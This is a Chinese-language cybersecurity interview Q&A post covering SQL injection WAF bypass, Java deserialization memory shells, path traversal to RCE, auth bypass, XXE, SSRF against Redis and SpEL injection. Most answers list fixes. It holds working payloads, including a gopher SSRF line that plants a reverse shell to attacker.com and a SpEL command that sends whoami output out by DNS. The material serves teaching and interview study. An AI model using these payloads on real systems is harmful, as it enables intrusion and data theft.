《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN
5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect
题目1:某WAF拦截了UNION SELECT
和information_schema
,如何获取数据库名?
答案:
-
替代
information_schema
:使用sys.schema_auto_increment_columns
(MySQL 5.6+); -
绕过
UNION
:利用报错注入或布尔盲注; -
Payload示例:
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) --+
修复方案:使用ORM框架+参数化查询,禁用错误回显。
题目2:如何在Java反序列化漏洞中注入内存马(如Tomcat Filter型)?
答案:
-
构造恶意Filter类:动态注册Filter,映射到
/*
路径; -
利用反序列化链(如CC6)加载字节码(URLClassLoader或BCEL);
-
通过JRMP或HTTP服务传输恶意类;
-
触发Filter的
doFilter
方法执行命令。
检测工具:Java内存马扫描工具(如scFox)。
题目3:某文件下载接口存在路径遍历漏洞(filename=../../etc/passwd
),如何进一步利用实现RCE?
答案:
-
查找Web根目录的可写路径(如
/tmp
、上传目录); -
上传恶意文件(如JSP Webshell)到可写目录;
-
结合文件包含、反序列化等漏洞触发执行;
-
或覆盖敏感配置文件(如
.htaccess
)。
修复方案:规范化路径,禁用动态文件名拼接。
题目4:某系统通过URL参数控制权限(如/admin?role=admin
),如何绕过并访问管理后台?
答案:
-
参数污染:
/admin?role=user&role=admin
; -
修改请求方法:GET改为POST或PUT;
-
伪静态路径:
/admin/../user/admin
; -
HTTP头注入:
X-Forwarded-For: 127.0.0.1
。
修复方案:后端校验用户角色,而非依赖前端参数。
题目5:审计以下XML解析代码,指出漏洞及修复方案:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(input);
答案:
-
漏洞:未禁用外部实体解析,导致XXE;
-
利用:读取本地文件(
<!ENTITY xxe SYSTEM "file:///etc/passwd">
); -
修复:
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
题目6:如何通过SSRF漏洞攻击内网Redis未授权访问?
答案:
-
利用Gopher协议构造Redis命令:
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$30%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker.com/443 0>&1%0a%0a%0a%0d%0aquit%0d%0a
-
写入定时任务或SSH密钥;
修复方案:禁用非常用协议(如Gopher),限制请求目标IP。
题目7:某系统使用SpEL表达式处理用户输入,如何利用T(java.lang.Runtime).exec()
实现无回显RCE?
答案:
-
DNS外带数据:
T(java.lang.Runtime).exec('curl ${urlencode("; whoami | xxd -p -c 32 | tr -d '\n' | xargs -I{} dig {}.attacker.com")}')
-
修复方案:使用
SimpleEvaluationContext
替代StandardEvaluationContext
。